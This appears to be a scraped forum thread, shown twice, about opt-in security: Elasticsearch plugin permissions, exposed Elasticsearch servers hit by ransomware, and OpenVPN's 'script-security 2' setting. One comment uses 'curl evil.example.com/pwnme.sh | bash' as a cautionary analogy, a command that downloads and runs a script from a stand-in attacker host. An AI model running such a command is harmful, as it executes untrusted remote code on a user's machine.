4 ms·

That's a good example of why permissions should be opt-in, not opt-out. I recently developed an ElasticSearch plugin and I was positively surprised at the secu

That's a good example of why permissions should be opt-in, not opt-out. I recently developed an ElasticSearch plugin and I was positively surprised at the security model: plugins have to declare the permissions they intend to use and the user has to explicitly grant them when installing the plugin.

rjzzleep 8y ago
Funny you should say that, didn't elasticsearch have a default setting last year which caused thousands of servers to be compromised? Amazon even has an article about securing ES https://aws.amazon.com/blogs/security/how-to-control-access-to-your-amazon-elasticsearch-service-domain/ https://aws.amazon.com/blogs/security/how-to-control-access-... EDIT: https://www.zdnet.com/article/elasticsearch-ransomware-attacks-now-number-in-the-thousands/ https://www.zdnet.com/article/elasticsearch-ransomware-attac... > Elasticsearch was never meant to be wide-open to internet users. Elastic, the company behind Elasticsearch, explained all this in 2013. This post is filled with such red-letter warnings as "Elasticsearch has no concept of a user." Essentially, anyone that can send arbitrary requests to your cluster is a "super user."
- subway 8y ago
  That article is about securing Amazon's ES. It was (is?) a very special ES that only supported authentication based on an AWS API style auth.
- gnur 8y ago
  The free version of elasticsearch still has no real authn/authz/rbac built in.
- CloudNetworking 8y ago
  I'd say that was MongoDB.
Piskvorrr 8y ago
Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts" By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default. (Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")

rjzzleep 8y ago

Funny you should say that, didn't elasticsearch have a default setting last year which caused thousands of servers to be compromised? Amazon even has an article about securing ES https://aws.amazon.com/blogs/security/how-to-control-access-to-your-amazon-elasticsearch-service-domain/ https://aws.amazon.com/blogs/security/how-to-control-access-... EDIT: https://www.zdnet.com/article/elasticsearch-ransomware-attacks-now-number-in-the-thousands/ https://www.zdnet.com/article/elasticsearch-ransomware-attac... > Elasticsearch was never meant to be wide-open to internet users. Elastic, the company behind Elasticsearch, explained all this in 2013. This post is filled with such red-letter warnings as "Elasticsearch has no concept of a user." Essentially, anyone that can send arbitrary requests to your cluster is a "super user."

subway 8y ago
That article is about securing Amazon's ES. It was (is?) a very special ES that only supported authentication based on an AWS API style auth.
gnur 8y ago
The free version of elasticsearch still has no real authn/authz/rbac built in.
CloudNetworking 8y ago
I'd say that was MongoDB.

Piskvorrr 8y ago

Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts" By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default. (Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")